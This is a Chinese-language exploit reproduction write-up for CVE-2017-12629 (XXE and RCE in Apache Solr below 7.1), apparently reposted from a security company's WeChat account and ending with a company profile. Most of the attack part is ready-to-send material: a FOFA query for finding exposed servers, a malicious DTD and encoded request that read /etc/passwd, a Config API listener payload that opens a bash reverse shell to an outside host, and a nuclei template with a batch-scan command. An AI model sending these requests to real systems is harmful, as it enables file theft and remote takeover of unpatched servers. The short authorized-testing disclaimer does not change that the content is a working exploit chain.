0x01 漏洞描述
ApacheSolr是一个功能强大的开源搜索服务器,它支持REST风格API。查询该集合也是通过http收到一个XML/JSON响应来实现。此次7.1.0之前版本总共爆出两个漏洞:XML实体扩展漏洞(XXE)和远程命令执行漏洞(RCE),二者可以连接成利用链,编号均为CVE-2017-12629。
0x02 漏洞复现
漏洞影响: Apache Solr < 7.1
FOFA:app="APACHE-Solr"
一、XXE
1.使用查看/etc/passwd的dtd,并做python的http.server服务
dtd:
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % ent "<!ENTITY data SYSTEM ':%file;'>">
python的http.server服务:
python3 -m http.server 8888
2.将payload用url编码,并发包,得到/etc/passwd内容
http://www.ab173.com/enc/urlencode.php
1.请求dtd的xml脚本,需要在如上网址url编码:
<?xml version="1.0" ?><!DOCTYPE root[<!ENTITY % ext SYSTEM "http://x.x.x.x:8888/do.dtd">%ext;%ent;]><r>&data;</r>
2.发包:
GET /solr/demo/select?&q=%3C%3Fxml%20version%3D%221.0%22%20%3F%3E%3C!DOCTYPE%20root%5B%3C!ENTITY%20%25%20ext%20SYSTEM%20%22http%3A%2F%2Fx.x.x.x%3A8888%2Fdo.dtd%22%3E%25ext%3B%25ent%3B%5D%3E%3Cr%3E%26data%3B%3C%2Fr%3E&wt=xml&defType=xmlparser HTTP/1.1
Host: x.x.x.x:8983
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:101.0) Gecko/20100101 Firefox/101.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
DNT: 1
Connection: close
Upgrade-Insecure-Requests: 1
二、RCE
1.添加监听器,刷新配置,得到一个shell
数据包1,添加监听器:
POST /solr/demo/config HTTP/1.1
Host: x.x.x.x:8983
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type:application/json
Content-Length: 186
{"add-listener":{"event":"postCommit","name":"newlistener7","class":"solr.RunExecutableListener","exe":"bash","dir":"/bin/","args":["-c","bash -i >& /dev/tcp/x.x.x.x/7777 0>&1"]}}
数据包2,刷新配置:
POST /solr/demo/update HTTP/1.1
Host: x.x.x.x:8983
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/json
Content-Length: 15
[{"id":"test"}]
2.nuclei漏洞脚本如下(nuclei稳定快,编写poc简单,有社区维护,推荐使用)
nuclei下载地址:https://github.com/projectdiscovery/nuclei
批量验证命令:
nuclei.exe -l subs.txt -t cves/2017/CVE-2017-12629.yaml
id: CVE-2017-12629
info:
name: Apache Solr <= 7.1 - XML Entity Injection
author: dwisiswant0
severity: critical
description: Apache Solr with Apache Lucene before 7.1 is susceptible to remote code execution by exploiting XXE in conjunction with use of a Config API add-listener command to reach the RunExecutableListener class. Elasticsearch, although it uses Lucene, is NOT vulnerable to this. Note that the XML external entity expansion vulnerability occurs in the XML Query Parser which is available, by default, for any query request with parameters deftype=xmlparser and can be exploited to upload malicious data to the /upload request handler or as Blind XXE using ftp wrapper in order to read arbitrary local files from the Solr server. Note also that the second vulnerability relates to remote code execution using the RunExecutableListener available on all affected versions of Solr.
reference:
- https://twitter.com/honoki/status/1298636315613974532
- https://github.com/vulhub/vulhub/tree/master/solr/CVE-2017-12629-XXE
- https://github.com/vulhub/vulhub/tree/master/solr/CVE-2017-12629-RCE
- https://nvd.nist.gov/vuln/detail/CVE-2017-12629
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2017-12629
cwe-id: CWE-611
tags: cve,cve2017,solr,apache,oast,xxe
requests:
- raw:
- |
GET /solr/admin/cores?wt=json HTTP/1.1
Host: {{Hostname}}
- |
GET /solr/{{core}}/select?q=%3C%3Fxml%20version%3D%221.0%22%20encoding%3D%22UTF-8%22%3F%3E%0A%3C!DOCTYPE%20root%20%5B%0A%3C!ENTITY%20%25%20remote%20SYSTEM%20%22https%3A%2F%2F{{interactsh-url}}%2F%22%3E%0A%25remote%3B%5D%3E%0A%3Croot%2F%3E&wt=xml&defType=xmlparser HTTP/1.1
Host: {{Hostname}}
matchers:
- type: word
part: interactsh_protocol # Confirms the HTTP Interaction
words:
- "http"
extractors:
- type: regex
internal: true
name: core
group: 1
regex:
- '"name":"(.*?)"'
(注:要在正规授权情况下测试网站:日站不规范,亲人泪两行)
0x03 公司简介
江西渝融云安全科技有限公司,2017年发展至今,已成为了一家集云安全、物联网安全、数据安全、等保建设、风险评估、信息技术应用创新及网络安全人才培训为一体的本地化高科技公司,是江西省信息安全产业链企业和江西省政府部门重点行业网络安全事件应急响应队伍成员。
公司现已获得信息安全集成三级、信息系统安全运维三级、风险评估三级等多项资质认证,拥有软件著作权十八项;荣获2020年全国工控安全深度行安全攻防对抗赛三等奖;庆祝建党100周年活动信息安全应急保障优秀案例等荣誉......
编制:sm
审核:fjh
审核:Dog
原文始发于微信公众号(融云攻防实验室):漏洞复现 CVE-2017-12629 solr XXE/RCE
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论